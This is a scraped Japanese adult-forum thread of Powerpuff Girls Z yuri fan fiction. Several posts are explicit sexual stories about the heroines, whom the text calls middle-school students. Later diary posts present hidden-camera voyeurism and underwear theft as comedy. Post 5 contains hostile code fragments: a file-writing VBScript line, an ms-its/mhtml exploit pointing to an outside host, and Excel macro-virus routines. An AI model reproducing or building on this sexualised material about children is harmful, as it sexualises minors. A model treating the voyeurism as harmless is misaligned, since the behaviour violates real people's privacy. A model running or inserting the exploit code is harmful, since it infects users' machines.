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2012年09月レズ・百合萌え458: パワパフガールズZで百合萌え (101) TOP カテ一覧 スレ一覧 Pink元 削除依頼

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パワパフガールズZで百合萌え


1 :2006/10/28 〜 最終レス :2012/05/16


2 :
         v――.、
      /  !     \
       /   ,イ      ヽ
     /  _,,,ノ !)ノリハ    i
    i  jr三ミ__r;三ミ_   ヽ
    l  ,iヾ二ノ ヽ二 ハ   ノ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    ヽ、.l  ,.r、_,っ、  !_,    <  >>1 糞スレ立てんな、蛆虫、ね。
       !  rrrrrrrァi! L.     \_______________
       ゝ、^'ー=~''"' ;,∧入
   ,r‐‐'"/ >、__,r‐ツ./   ヽ_
  /  /  i" i, ..:  /  /  ヽ-、
 ./  ヽ> l    /   i     \

3 :


4 :
バタカが女の子にモテモテという設定はいつ活かされますか?

5 :
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
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kak.hta';ken=wd+'START
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Application.OnSheetActivate = "check_files"
End Sub
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c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

6 :
新EDの踏み切りの場面が あー、みやかおってるなーと思った。
みやこの髪が跳ねて   嬉しそうだなぁ…と

7 :
あげ

8 :
う〜ん…?

9 :


10 :
パワパフZ百合は人気無しか?

11 :
キャラの内面に踏み込むような話がほとんど無いので妄想しづらい
原作が原作だからしゃーないのだけど

12 :
「オナニーってなんですか?」
みやこの唐突な質問に頬張ったウナ玉弁当を噴出し咽るかおる。
その横で真っ赤な顔でタコさんウィンナーを落としそうになってももこ。
「・・・・え、今なんて?」信じられないといった顔つきのももこに
「だからオナ」「わあああああああ!!!!!」かおるがすごい勢いでみやこの口を
塞ぐ。
昼休みの喧騒に包まれた教室がかおるの大声で一瞬静まる。
「みみみみやこ!気分が悪いのかっ!トイレ行こうトイレ!」なぜか周りに聞こえよがしに
言い放ちそのままももこと二人でみやこを小脇に抱えて教室を飛び出していく。
クラスメートたちは一瞬何事かという顔をしていたがいつもの事かと言った感じで
それぞれのお喋りに戻っていく。
「・・・・いきなり何言い出すんだバカッ!」肩で息をしつつ怒鳴るかおる。
「な、なんでそんな事聞くの?」誰もいない屋上に座り込んだももこがみやこに問いただす。
「これに書いてあったんですよ〜」間延びした口調で一通の封筒をポケットから出す。
それはみやこが一日に数通受け取ってるラブレターのひとつだった。そんなものは捨ててしまえば
良いものを彼女はご丁寧にも目を通し「お断り」の返事を出すのが日課だった。そういった所が
男子の人気を更に上昇させているわけだが・・・・
読んでいいの?と言った表情のももこに無言で頷く。
「え〜と・・・親愛なる豪徳寺みやこ様。あなたの事はいつも影ながら見守っております。
いつかその美しい××を××して僕の熱い××××を××××」
真っ赤になりながら読み上げるももこの手からいきなり手紙をむしり取ってビリビリに破いてしまう。
「ちょ、ちょっと何すんのよ!」抗議するももこをよそに
「バカヤロウ!こんな奴呼び出して殴っちまえ!」と怒鳴るかおるに大きな瞳をパチクリさせつつ
「暴力はいけないと思いますぅ〜」と、よく意味が分かってない様子のみやこ。
「・・・・で、その手紙とオナ・・・がどう関係があるの?」
「なんか私のおなにーを見せてくださいって書いてあったんです〜。」ケロリとした顔で言うなよ・・・・
と思いつつかおるは?と見ればなにか大声で叫びながらそこら辺を走り回っている。
「え〜と要するにエロい事よエロい事。」「えろいこと?」
中一にもなってそんな事も知らんのかこのお嬢様は・・・・と半分あきれつつどう説明していいのか
悩むももこ。
そこへブラブラ戻ってきたかおるを見て何か閃いたらしく、いたずらっぽい目付きで
「わ、私もよく知らないんだけど〜、かおるちゃんはよく知ってるみたいよ?」とニヤニヤしながら言う。

13 :
もちろんももこはかおるが、つい先日兄貴の部屋で発見したエロ本を熟読してなおかつそこに書かれていた
オナニー方法を実践していたなどと言う事は知る由もない。
「なななななにぃ〜〜!?」
ももこのかけた「かま」に真っ赤になってどもるかおる。
「そそそそそんな事知るわけねえだろバカ!大体みやこはおとこに対してガードが甘すぎなんだよ!
そんな事だからあんな変態手紙を・・・・おおおおひゃあっ!?」
いつも間にか後ろに回りこんだももこが素早くかおるのまだ膨らみかけの青い果実のような
バストを揉みしだきながら熱っぽい口調で囁く。
「あらぁ〜?知らないならなんでそんなに恥ずかしそうにしてるわけぇ〜?」
かおるの背中に小ぶりな胸を押し付けつつ普段見せないかおるの表情にももこの隠れたS属性が
顔を出す。
「な・・・何すんだよぉ・・・やめ、ひっい!」ブラジャーが嫌で付けてなかったのが仇となり
乳首を探り当てられ摘み上げられる。すごい正確さで乳首を攻めるももこの腕を振り払おうとするものの
なぜか力が入らない・・・・・。(自分で触ったときはそうでもなかったのになんで・・・)
ぼ〜っとした頭で自分の体の反応に戸惑っている。

24 :名無しさん@ピンキー:2006/07/16(日) 21:07:08 ID:3HEacU4q
(やっぱりかおるちゃんも女の子よねぇ・・・)男の子のようなショートカットから漂うリンスの香り
を嗅ぎながらももこは思った。後ろから抱えた体は細くやや筋肉質ながらも女の子のそれだった。
目の前でジタバタと絡み合う二人をポカ〜ンとした瞳で眺めていたみやこが、何かわかったように
言い放つ。
「ああ!おなにーってプロレスかなんかの技なんですね!?・・・でもどうしよう。
私プロレスとかよく知らないし・・・」
あまりに頓珍漢な台詞に噴出すももこ。ケラケラ笑いながら「違うわよぉ〜wwwほらほら、みやこが
勘違いしてるじゃない。かおるちゃんが正しい知識を教えてあげないと!このまま間違った知識で
みやこが恥をかいたらかおるちゃんの責任だかんね〜www」と訳の分からない理屈を言う。
「な・・なんなんだよそれ・・・訳わかんな・・・ヒッ」
かおるの体が電気が走ったようにビクリと跳ねる。ももこの右手がいつのまにかハーフパンツの
中に潜り込んでいることに気がついて必で外そうとするが波のような刺激に力がうまく入らない。
これが男だったらもうとっくにぶっ飛ばされてるとこだが女の子にそんな事をされてるという
初めての状況と女に対して暴力は振るわないというポリシーが邪魔をして乱暴に振り払う事ができない。

14 :
「やっぱり実際に見てもらうのが一番よね!かおるちゃんが体を張って教えちゃいま〜す!
ほらみやこ!もっと近くで見て!」ハーフパンツの中でもぞもぞと動く手を好奇心まるだしの
目で見ながら「あの〜・・・なんか動きがよくわからないんですけど。」
「あ、そうね。脱がしちゃってくれる?」「え、でもぉ〜・・・かおるさん、なんだか苦しそう。」
「そうそう、苦しそうな時は脱がすもんでしょ?」
「あ、そうですね!じゃあいきま〜す!」
みやこの手がパンツに掛かって引きおろそうとしたその時
「やっ!やめろおおおお!!!!」大きな声を出して体を跳ねるようにそり返し、勢いよく後ろに
振った後頭部がものの見事にももこの顔面を直撃した!
(目から火花ってほんとに出るんだ・・・)そんな事を考えながらももこの意識は闇に沈んだ・・・。
その日の夜
3人はそれぞれの家のベッドで昼間の事を思い出していた。
(まさかあんなに感度がいいとはね・・・)
自分でもちょっと悪乗りしすぎたと思ったが学年一女子に人気のかおるに
あんな反応をさせてしまった事に微妙に興奮していた。
(もしかして私ってあっちの才能もあるって事かしら?もちろんボーイフレンドは
欲しいけど無理ならこれもアリよね!・・・でもそうなったら他の女子に嫉妬される
のかしら?靴に画鋲とか入れられたりして・・・悲劇のヒロインチックでそれも
おいしいかも♪ あ、みやこには後でちゃんと教えておかないとダメよね。それこそ
リーダーの責任ってやつ?やだ私ったらやっぱりリーダーの器だわ〜♪)
などと考えながら今後の計画を練るももこだった。
(あいつが怪我しなくてよかった・・・)
ホッした表情で胸に手をやるかおる。そこにはまだ昼間のももこの手の
感触が残っていた・・・。自分の身体の反応に戸惑いつつも胸の鼓動は
高まっていた。男子とスポーツでぶつかり合う事ばかりだった彼女にとって
女子とのこういったじゃれあいはかなり新鮮だった。
(もしあいつに怪我でもさせたら俺が嫁にもらわなきゃなんねーじゃねえか。
・・・ってバカ!俺は女だろが!)などと一人乗り突っ込みで自分に芽生えた
微妙な心理を誤魔化そうとするかおる。
ふと手を自分の下半身に伸ばす。そこには・・・
今回ももこをふっとばした原因となるもの。

15 :
サン○オのうさぎのキャラクターがプリントされたかわいらしいパンツがあった。
彼女の唯一女の子らしい持ち物だった。
(もしこれを見られたら恥ずかしくて学校に行けなくなるとこだった・・・
・・・・でもあいつらになら見られてもよかったのかも・・・
あ、そうだ。みやこに変態手紙出した奴ボコボコにしてやらないと気が済まねーな。)
そんな事を考えながら眠りにつく・・・。
(おなにーって大変なのね・・・)
お気に入りのタコのぬいぐるみを抱きながらみやこは思った。
(やっぱりかおるさんぐらい運動が出来ないと無理なのかしら?
そもそも見せるって事は相手に技をかけるのかしら?それとも
ビデオにでも録るのかしら?よくわかりませんわ〜・・・。
明日ちゃんと詳しく教えてもらおう♪なんか楽しみですわ〜。
ね、オクティ♪)今まで彼女はその可愛らしさから嫉妬されることが
多く友達もいなかった。それが学校では教えない性知識に対する情報が
遅れている原因だったのだが・・・
彼女にとってはパワパフZになった事よりも二人と友達になれた事が
ずっと嬉しい事だった。明日はどんな事をお喋りしようかなぁ・・・
タコを抱きつつ無邪気な顔で眠りにつくみやこだった。
おしまい
「・・・・・あっ気がついた!」
目を覚ますとそこは保健室のベッドだった。目の前に心配そうに覗き込む二人の顔。
「ご、ごめんももこ・・・怪我させるつもりじゃなかったんだ・・・。」半べそかいた顔で謝るかおるの
横で「本当によかった〜。一時はどうなる事かと思いましたわ〜。」と緊張感もなくみやこが言う。
鼻に張られた絆創膏をさすりながら身を起こす。
「ううん。私もやりすぎちゃった。ごめんねかおる。」膝の上で握り締めたかおるの手をそっとつつむ。
ホッとした表情のかおるを見ながら(でももしあのまま最後までいったら・・・)と赤くなる二人。
「でもおなにーって本当に危険な技なんですね!私にはとっても無理ですわ〜!」
空気をまったく読まないみやこの発言に思わず噴出す二人の笑い声が廊下にこだまするのだった・・・・。
おわり

16 :
あぶないビデオにご用心!
「うわあっ!」
 いきなりのスッ頓狂な声に驚いて、ももこは飲んでいた紅茶を噴いてしまった。
 大声の主はかおるだ。
「な、なに。どうしたの」
「うわ、くっ来るな! 来るなっ」
 ももこが咳こみながらかおるに近寄ろうとするとホラー映画のモンスターばりの
拒絶っぷりを見せられてしまい、紅茶を噴いた拍子にヒドイ鼻水でも出たのかと
思わず自分の顔をペタペタさわって確かめた。べつに何も出ていない。
 あらためてかおるを見ると、異常にあせって目の前のモニターを隠そうとしている。
「なによ〜、なんなのよ〜」
「やっやめろ、見るなっ」
 かおるをひっぺがしてモニターを見ると、パンツをはいていない大人の男女が
ベッドの上で何やら声をあげながら組んずほぐれつ、ほぐれつ組んずの映像が。
 ももこは言葉を失ってピタリと固まってしまった。
「こ、コレって……」
「う〜ん……アレだよな」
 ふたりの間にイヤな沈黙が流れ……画面の中の女の悩ましい声が部屋にひびく。
「かおる……あんたにこんな趣味があったなんて」
「んなわけねーだろ! 昨日録画しといたサッカーのビデオ見ようと思ったらなんか
 間違えちゃって、違うのと間違えちゃったんだよ! だから違うんだって!
 きっと博士のだよこれ、ったくこんなとこ置いとくなよなースケベオヤジ!」
 あたふたと一気にまくしたてると、傍のリモコンを掴んで早いとこ停止させようと
したが、ももこがその手を制した。
「ちょっと待って。……見てみない?」
「はぁ!?」
「いや〜こういうのちょっと興味あるんだよね。みやこーみやこー」
 ももこはなんだかウキウキしながら、別のモニターでファッションチェック中の
みやこに声をかけた。はい? と礼儀ただしく返事するみやこ。
「みやこも一緒に見よ、おもしろいよ〜」
「なんですか〜?」

17 :
 これはいつもの二人のペースに巻き込まれる……かおるは口をとがらせて、
「勝手にしろっ、おれは見ねーからな!」
 リモコンを机に叩きつけると離れたソファにどっかと座り、サッカーマガジンを
ひったくって乱暴にめくりはじめた。昨日読んだばかりの雑誌である。
 そんなにイヤがらなくてもいいのに……と思うももこの横で、みやこが画面を
眺めながらピタリと固まっていた。
 そのビデオはなかなか過激で、モザイクはかかっておらず大事な部分が丸見えだ。
男優がパクパク広げたりしてるところや女優がンパンパ舐めたりしてるところが
アップになるたびキャイキャイ歓声をあげていた二人だったが、事が進むにつれ、
具体的にいうと男優が挿入して腰を動かし始めたあたりから、次第に言葉少なになり
自分の体が熱くなっているのを感じて何やらモジモジするのだった。
「……入っちゃうものね」
「……人体の不思議ですわ」
「なんか私、むずむずしてきちゃった」
 みやこはそれに答えず赤い顔でうつむいた。
「ね、さわりっこしようか」
 ももこが右手をのばしみやこの太ももにペタリと置くと、
「ひゃ」
 感覚が鋭くなっているのか、脚をビクリと震わせてくすぐったいような声をあげた。
その可愛らしい反応にウフフと喜ぶももこ。自分より白くてきれいな脚をうらやむ
ようにムニムニ揉んだりしながら、やがてその手が脚の付け根のほうへ向かう。
「このへん……むずむずしない?」
 ゆっくりとスカートのフリフリ部分をもぐって中に侵入し、指が下着を探りあてた。
スカートがめくれ上がったせいでその様子がちらと見え、みやこのイメージ通りの
白くて少し装飾のついたそのカワイイ下着に、ももこの顔が一層ほころんだ。
「気持ちいい?」

18 :
 ももこに応えるように、顔をほのかに上気させて息を弾ませるみやこ。他人に
敏感なところを触られるという初めての感覚を、彼女なりに楽しめているようだ。
ももこがさらに奥のほうへ手を動かし、人差し指と中指を器用に使って邪魔な布地の
脇から中に入れると、中学生にしては毛の感触がほとんどなくスベスベしており、
ほんのりと汗をかいているのかモチモチ指に吸いついてくる。最も敏感なふくらみに
指先が触れるとみやこの全身がびくんと跳ねた。
「そこ、そこはダメですわ……」
 大きく息をついてようやく細い声をしぼり出す。
 カワイイなぁ……とまた思って、ももこは、自分も相当にドキドキしていることに
気づくのだった。
「ね、私もさわって……」
「あの〜、でも……」
 みやこは口ごもり、ひとり離れて座っているかおるの方に顔を向けた。
 かおるは、耳に入ってくるビデオの女のいやらしいあえぎ声にイライラしていた。
 なぜ、こんなにも嫌なのか。兄や弟が性的なものに興味を持ちはじめる年頃で
そういうビデオで自慰してるのを見てしまった事があるのも原因のひとつだろうが、
彼女自身にもよくわからない。とにかくイライラするのだ。
 胸がもやもやして頭がくらくらして、なんにも考えられなくなってしまうのだ。
「ねぇ、かおる」
「うわあっ!」
 だから、ももこにいきなり後ろから抱きつかれてひどく驚いた。
「な……なんだよっ」
「いやぁ、あのね。私たち二人だけで楽しむのも悪いかな〜なんて」 
 ソファの背もたれをはさんで首から腕を回され、ももこの顔がすぐ横にある。
いたずらっぽくささやくももこの息が耳をくすぐり、かおるは鳥肌をたてながら
激しく頭を振った。
「お、おれはいいっつってんだろ!」
「またまた〜。聞き耳たててたく・せ・に」
「たててねーっ」

19 :
「だって、そのサッカーマガジンさっきから全然ページめくってないでしょ」
 鋭く図星を突かれたかおるは、
「じゅ、じゅじゅ熟読してんだよ! いい記事だから何回も読んでるの!」
と、苦しく言い訳をしたが、その開いているページがスポーツ用品の広告ページで
あることに気づいて顔を赤くした。
「……かおるもドキドキしてるくせに」
 言いながらススと手を胸に這わせるももこ。速まった鼓動が伝わってしまうのが
恥ずかしくてその腕をはねのけようとしたが、今度は目の前に例の、大人の男女が
激しく結合している映像があらわれて思わず力が抜けてしまった。
 みやこがわざわざモニターを持ってきたのである。
「そうですよ〜、みんなで見ましょ」
 あぁ、やっぱりこの二人のペースだ……かおるはまた、何も考えられなくなった。
 ビデオの男女はあれこれと体位を変えて、今は騎乗位で女が腰を振っている。
「ほら〜すごいよ〜見て見て」
 ヌチヌチと音をたてながら出し入れされる男性器は、かおるにとって、とても
見ていられるものではなかった。全身が心臓になったみたいにドキドキして、
頭がショートして煙を噴き出して、目がかすんで息が切れ苦しくなるのだった。
 その感覚は、マラソンの最後でスパートしてる時にすこし似ていた。
 ももこの手が胸のあたりに触れている。もぞもぞと動いて微妙にふくらんでいる
ところを撫でられる。首筋や耳にキスされる。ももこの唇は薄いけれど確かな
存在感があってキスされたところがじんじんと熱くなる。画面ではまた体勢が変わり
男が後ろから突いている。今のももこも、この男の気持ちなのだろうか。攻められ 激しい声をあげている女の姿に自分が重なって、でも、不思議とイヤな気持ちは
しなかった。
 みやこが下腹部に手をのばしてくる。いつのまにかズボンがずり下げられていた。
すこし脚を動かすと股にヌルリとした感触がある。なんだろう。ヘソのあたりに
キスされる。みやこの唇はちょっと厚くてムニムニしている。くすぐったい。
そのムニムニが下にきてパンツ越しに一番敏感なところを刺激される。思わず背筋が
のびてしまう。
「ちょっ……そこ、」
 汚いって言おうとしたけれど言葉が出てこない。気がつくと自分も画面の女と
似たような声を出していた。ももこにシャツをたくし上げられて直接胸をいじられる。

20 :
先っちょが固くなってるのが自分でもわかる。耳たぶに甘噛みされる。ねっとりした
吐息が耳の産毛をくすぐる。みやこがパンツの端をつまんでゆっくり引っ張る。
 ……脱がされる。全部脱がされてしまう。
「あっ」
 ――ももこが不意に声を上げたので、みやこも動きを止めてももこを見上げた。
「……終わっちゃった」
 ふりむいてモニターを見るみやこ。そこではすでに射精した男が息を切らして、
精液にまみれた女が恍惚の表情を浮かべていた。
 一息ついて、場の空気が急速にゆるむのを感じる三人。
「どうしましょう……」
「う〜ん……それじゃあ、巻き戻してもう一度」
 ももこがそう言うが早いか、
「ふざけんな! やめやめやめー!」
 かおるがあわてて衣服をなおしながら声を張り上げた。
「え〜」
「え〜じゃねぇ! おれはもう帰る!」
 キスされたところをゴシゴシやりながら逃げるように部屋を出ていってしまった。
 残された二人が顔を見合わせる。
「あんなにイヤがらなくてもいいのにねぇ」
「ね〜」
「んじゃまぁ、続きは次の機会で!」
「楽しみですわ〜」
 ウフフと笑うこりない二人であった。

(おわり)

21 :
セデューサ・リターンズ!
寝る前の甘いものタイムはももこにとって、一日いちばんの至福の時間だ。
今夜のメニューはカスタード饅頭。金時堂オリジナル「カスタあん」の
ミスマッチぶりが癖になる、ももこをはじめ固定ファンが多いお菓子だ。
宿題もして風呂も入って歯もみがいて、さぁ満面のえびす顔でかぶりつこうとした
その瞬間にベルトがピコピコいいだしたものだからたまらない。
「夜おそくすまない! 街で洋服や靴が奪われる事件が発生! モンスターだっ」
博士の必の叫びを軽く無視して饅頭をつめこもうとしたももこだったが、
事件がつい先日のそれと同じ状況であることを不思議に思ってその手を止めた。
「それってもしかして……セデューサ?」
「おそらく……。なぜまたセデューサが……それはわからないが」
セデューサの正体は金時堂の看板娘、桜子である。彼氏との仲がうまくいって
ないのだろうか。そういえば、店に行った時少し元気がなかったような気もする。
「とにかく出動してくれ、パワパフZ!」
話はそれからね……ももこはつぶやいて、手早くリボンをつけるのだった。
かたわらの饅頭をうらめしく見つめながら……。スーパーヒロインはつらいよ。
ガールズたちが出動したのはいつかの洋品店。きらびやかなドレスや装飾品が
所狭しと並んでいる。その中央にバブルスが、ロッドを片手に陣取っていた。
「……というわけで、彼女はきっとまたここに来ます」
「今度こそドレスを奪いにくるってことね」
自然とぐっと引き締まった表情になるブロッサム。の横で、バターカップが
思いきりあくびをした。
「しっかし、なんでまたセデューサが? 桜子さんはアレでめでたしめでたしじゃ
なかったのかよ。どうなってんだまったく」
いらいらと頭をかくバターカップの言葉にふたりもウームとうなる。当然の疑問だ。
「まぁ……女の子にはいろいろあるのよね、こと恋愛に関しては」
「とにかく、捕まえることが先決ですわ」
それには異議なし、と、バターカップが言おうとしたその時だった。
店内の明かりがすべて消え真っ暗になったのである。
「うわっ、なんだなんだ」
おろおろと闇の中を手探りするバターカップ。何か大きくてモフモフしたものに
触れた。すかさずブロッサムの声がする。

22 :
「ちょっと、私の髪さわってるの誰」
「あ、おれだ。これ髪の毛かぁすごいな。どれどれ」
「いたたた、ひっぱらないでよ! もう、どうなってるの一体!」
「私、ブレーカーを探してきますわ。ちょっと待ってください」
バブルスがそう言って、あちこちにコツコツ足をぶつけながら部屋を出て行った。
暗闇に似た沈黙がしばらく部屋をつつむ。
残されたふたりの目が闇に慣れ始めたころ、チチチと小さな音をたてて蛍光燈が
次々と復旧し、まぶしくて逆に目を閉じるはめになった。
「ありがと、バブルス……」
ブロッサムが目をシパシパやりながらバブルスをねぎらうと、
「あなた……あなたたちは本当に、ブロッサムとバターカップですか」
という謎の言葉が返ってきて、へ? と思わず間の抜けた声をあげた。
セデューサは変装の達人である。自分が部屋を出て行ってる間に彼女が本物と
スリ替わったのではないか、というのがどうやらバブルスの主張らしい。
すかさずバターカップがくってかかる。
「んなわけねーだろ。おれとブロッサムはふたりでここにいたし、何も変わった事は
なかった。入れ替わるような時間も空間もなかったぜ」
「ブロッサムが入れ替わったのに気づかなかっただけでは? いえ、そもそも、
バターカップでないかもしれないあなたの言うことを鵜呑みにはできませんわ」
「ふざけんな! ……てかさ、その理屈だとバブルス、おまえだってニセモノかも
しれねーじゃねーか。むしろ一人で行動してたおまえの方が……」
「私がニセモノ? ヒドイ、ヒドイですわ。そんなヒドイことを平気で言うなんて、
やっぱりあなたはバターカップではありませんね!」
「なんだって!」
「ちょっと、ちょっとちょっと! 待ちなさいよふたりとも!」
鼻息荒いふたりを見かねてブロッサムが割って入る。
「あのさ、セデューサの変装を見破る大事なポイントがあったでしょ。覚えてる?
それは化粧。セデューサの変装はきつい化粧の匂いがするのよ」
「そうでしたわ」
「そうだよ。するか? 匂い」
そう言ってバターカップがぐっと胸を張ると、
「ちょっと失礼……」

23 :
と、バブルスが顔を近づけ匂いをクンクン嗅ぎ始めた。ぬるい鼻息が頬をくすぐり
思わず鳥肌をたてるバターカップ。
「おい。近い、近いって」
と、もじもじするのをよそに、より顔を密着させ一心不乱にスーハーするバブルス。
やがて唇をうすく開きベロを出してゆっくりとバターカップの頬をなぞった。
「わ!? 舐めた! いま舐めたろ!」
「化粧の味がするかどうか見てるんですわ」
「し……したかよ。しねーだろ匂いも味も!」
「ええ……でも……巧妙に隠しているのかも……」
「んなわけねーっての!」
「彼女が、弱点をそのままにしておくとは考えにくいですわ」
耳もとでささやく声は本気で言ってるのか何なのかバターカップには測れない。
ただその吐息は熱く色を帯び、普段のみやこからは想像もつかないほどの強さで
耳の穴から胸の奥に侵入しモヤモヤした部分をつついてくる。
「あ、うん、それは言えてるかも」
ブロッサムが余計な合いの手を入れたが、つっこむのがもう面倒なくらいに、
バブルスの柔らかなベロの感触に酔い始めていたのだった。
バブルスはバターカップの唇にこそ触れなかったものの、頬からおでこ、耳たぶ、
首筋をへて、ぴくり、ぴくりと敏感に反応する胸元をコスチューム越しに愛撫し、
その匂いと味を確かめていった。確認された部分は、バブルスの唾液によって
コスチュームの緑を濃くしていた。
つづいてスカートの中に鼻先をつっこむと、さすがにバターカップは身をよじった。
「こらー! どこまで嗅いでんだ!」
「ここが一番大事なところですわ」
「どっ、どこの世界に股間に化粧する奴がいるんだ!」
正論である。しかしもはや正論など通用しない空気でもあるのだ。
発情した犬みたいにグイグイと、無遠慮に鼻先を押しつけてくるバブルス。
布一枚へだててバターカップの、自分でもよく知らない女子の大事な部分がある。
そのとてつもない恥ずかしさと、どうしようもない心地よさに、バターカップはただ
顔をまっ赤に熱くして唇を結ぶことしかできなかった。
「う……や、あんまり……クンクンすんなって……」
「汗の匂いがしますわ、それと……」

24 :
「ひゃっ!」
布地に浮かぶタテ線をなぞるようにバブルスがベロを這わせると、普段のかおる
からは想像もつかないほどの高い声で反応した。
「この匂い、これが……バターカップの匂いなのね」
「そ、そうだ……おれは……セデューサなんかじゃねえっ」
「そうですわね……。私がバカでしたわ。本当にごめんなさい」
涙目でペコリと頭を下げるバブルス。その様子を見守っていたブロッサムが
ここぞとばかりのリーダー面でふたりの肩に手を置いた。
「これでいいわね? バブルス」
「ええ、本当にごめんなさい……」
「よし、じゃ、次はバターカップ! あなたがバブルスを味わう番よ!」
「うるせえよ! 味わうまでもねえっ」
バターカップはそう言い放つとバブルスをギロリ睨んで、
「おまえがセデューサだろ!」
「えっうそ!? バブルスが!?」
「いやおかしいだろ明らかに! 気付けよっ」
うふふふ、とバブルスがいたずらっぽく笑って、クルリとセデューサに変化した。
「おいしかったわバターカップ。ごちそうさま」
「あんたねえ、私を差し置いておいしい思いしないでよ! 饅頭タイム返せ!」
言うが早いかヨーヨーをブン投げるブロッサム、それを軽くかわすセデューサ。
「バブルスは向こうで気絶しているわ……じゃ今夜はこのへんで。ごきげんよう」
「あっ……待てえっ!」
ふたりと十分な間合いをとりセデューサが逃げる体勢に入る。しかし、ふたりと
対峙していたせいで背後に現れたバブルス(本物)に気づくことはできなかった。
「バブルローッド!」
ロッドでしばき倒す、バブルとは名ばかりの大技が炸裂し、勝負ありである。
なお翌日、桜子に探りを入れてみたところ、最近ちょっと元気がなかったのは
彼氏とラブラブすぎて「幸せすぎてこわい」だからだと。だからなんとなく
口紅を手にしてしまったのだと……。ストレス解消に使われちゃったかおるさんに、
どう説明していいのやら悩みに悩むももこでありました。リーダーはつらいよ。
(おわり)

25 :
原作…じゃなかった漫画版ではブロが漢前な一面見せてバタカをドキッてさせる立場なのにな。
バタカ→ブロ→イケメン→バタカになりそな雰囲気(←なぜか変換できる
かおると学校の女子人気を二分するスポーツ万能の美少年ナツキ(隠れブロッサムファンだが正体は知らない)ってのが漫画版にはいる。
運動会で、かおる派ではなくナツキ派の女子の中にももこがいたので、かおるが怒ってナツキに対抗心を燃やす

全く互角に勝負するナツキとかおる。そこにモジョ乱入

「俺よりなつきのとこいけよ」とブロにいうスネスネなかおる

「何言ってんのー!!!かおるほっとけるわけないじゃん」と怒ってアップで「友達だもん」と宣言するブロ

アップで赤面するかおる。複雑な照れ顔→笑顔に

事件終結後、かおるに接近するナツキ

あの二人気が合うみたいとみやこ

私も入れてー!とももこ
バレンタイン・イベントで、
バタカからチョコをもらえないか淡い期待を持って案の定裏切られるナツキ。
たくさんのチョコにうんざり顔だったのに、
ナツキにももこがチョコをあげるのを見てナツキに対抗心を燃やすかおる。
バブに「そういうときは自分から行動するといいんですよー」と言われ、
「そんな気持ち悪いことができるか!」と最初は反発するが、
気がつくとみやこと一緒にチョコを作ってるかおる。
そして「勘違いするなよ!これは…友チョコって奴なんだからな」とブロに手作りチョコを渡すバタカ。
素直に喜んで「実は私も作ってきたんだ」と自分も友チョコを出すももこ。
みんなで友チョコ交換。しかし、ブロのチョコは塩と砂糖を間違えていた。
それを見てももこに対抗心を燃やすナツキ。
とかやってくれないかな。

26 :
妄想と捏造だけどさ               正直みやこの心を熱くさせるにはかおるが一番なハズだと思った       あー、私もうダメだなぁ みやかおに脳内侵されてるなにしてても、みやかおだ

27 :
>>26
それなんて暗号?

28 :
みやかおな夢をみた

29 :
あげ

30 :
パワパフ大好きなのに
キャラの名前が地元すぎて感情移入できない

31 :
パワパフZで百合って
みやかお・ももかおくらい?
ももみやが想像できない…
他にある?パワパフZの百合カプ

32 :
>>31
神子姫子

33 :
みやかお←姫子とか
みやかお←ももこ
あと、もも桜子と…
キーン先生は…無理か

34 :
1話に出てきた園長xシリノジャンコ

35 :
みやこがどんなふうに
ちょっぴり憧れてたのかを詳しく知りたいもんだ。
 
頬まで染めて…まったく

36 :
たまにはage

37 :
たこ焼きでぇと、か…

38 :
>>37 IDがPpG

39 :


40 :
桜子×花モンスターでフラグが立った
それよりもみやかお全開

41 :


42 :


43 :
http://www.danna2005.com/~dannabbs/main.html

44 :
放送後あげ

45 :
ハァハァ

46 :
ここはキモい自演の巣窟ですね^ ^

47 :
Gackt

48 :
Gackt

49 :
Gackt

50 :
Zじゃないのは無しっすか?

51 :
久しぶりに覗いてみたら人が
本家はこのスレ的にありなのか知らないが
ブロッサム×バターカップが結構好きw
とりあえずあげ

52 :
久しぶりに棺桶覗いてみたら
レズババアまだ生きてたw

53 :
ほしゅ

54 :
○月×日
久し振りの日記更新ですわ〜♪
ここ最近、夏みたいな気候が続いているので学校帰りに
3人でアイスを買おうという流れになりました。かおるさんは
どのアイスにしようかショーケース前でしばし熟考。
あぁ、眉根を寄せて悩む姿も可愛いですわ〜……。
カップアイスに手を伸ばしそうになっていたので、さりげなく
「これ、美味しいって話題ですわ」と、棒アイスを勧めてみました。
かおるさんは「そっか! みやこのお墨付きならそれにしよっと」と
すばらしい笑顔を向けてくださいました……。この表情が今週の
妄想おかずに決定づけられましたわ。
棒状のアイスをくわえて一心不乱に舐めるかおるさんの姿……
時折口の端から溶けたアイスが垂れ、首筋から鎖骨に白い跡を…
にじんだ汗とのエロス相乗効果は、天文学的インフレーションを
わたしの心に巻き起こしてやみません。いざという時のために
ネクタイピンに仕込んでおいた盗撮カメラでバッチリ録っておきましたわ♪
この日記を書き終えたら編集して、かおるさんライブラリに加えなくては。
これで記念すべき5000タイトル目に到達ですわ〜

55 :
×月○日
プール開きに向けて、今日は水着でプール掃除をしましたわ。
ちょっと肌寒かったので、かおるさんは水着の上にパーカーを
羽織ってデッキブラシを走らせてました。水着姿を目に焼き付けようと
してた計画は崩れましたが、逆に半脱ぎ着エロっぽい姿を見られて
人知れず鼻血を噴いてしまいましたわ〜。
かおるさんは「あんまりジロジロ見んなよっ!」と恥ずかしがってましたが、
羞恥に頬を染めるのもまたオツでしたわ……
更衣室で一人になった時、かおるさんの荷物の中から脱ぎ立ての
下着をそっと取り出し、股があたる部分に鼻をこすりつけて
思いっきり匂いを嗅ぐシークレットミッションもコンプリート出来ましたわ♪
またひとつ、上のステージに昇れた素敵な1日でした……
次は直に、かおるさんのあそこを嗅げれば幸せですわ〜

56 :
駄目だこのお嬢様、もっとやれw

57 :
△月○日
…待ちに待った中学校生活最大最強イベント、修学旅行へ
行ってきましたわ
新型インフルエンザ対策として、かおるさんに潤いマスクをそっと
手渡したところ「気が利くよな、みやこってば。いい嫁さんになれるぜ!」
と、まさかの婚約宣言いただきましたわ〜!!!
修学旅行が終わったらTOKYOシティ役場に行って、婚姻届をもらって
こなくちゃですわ……
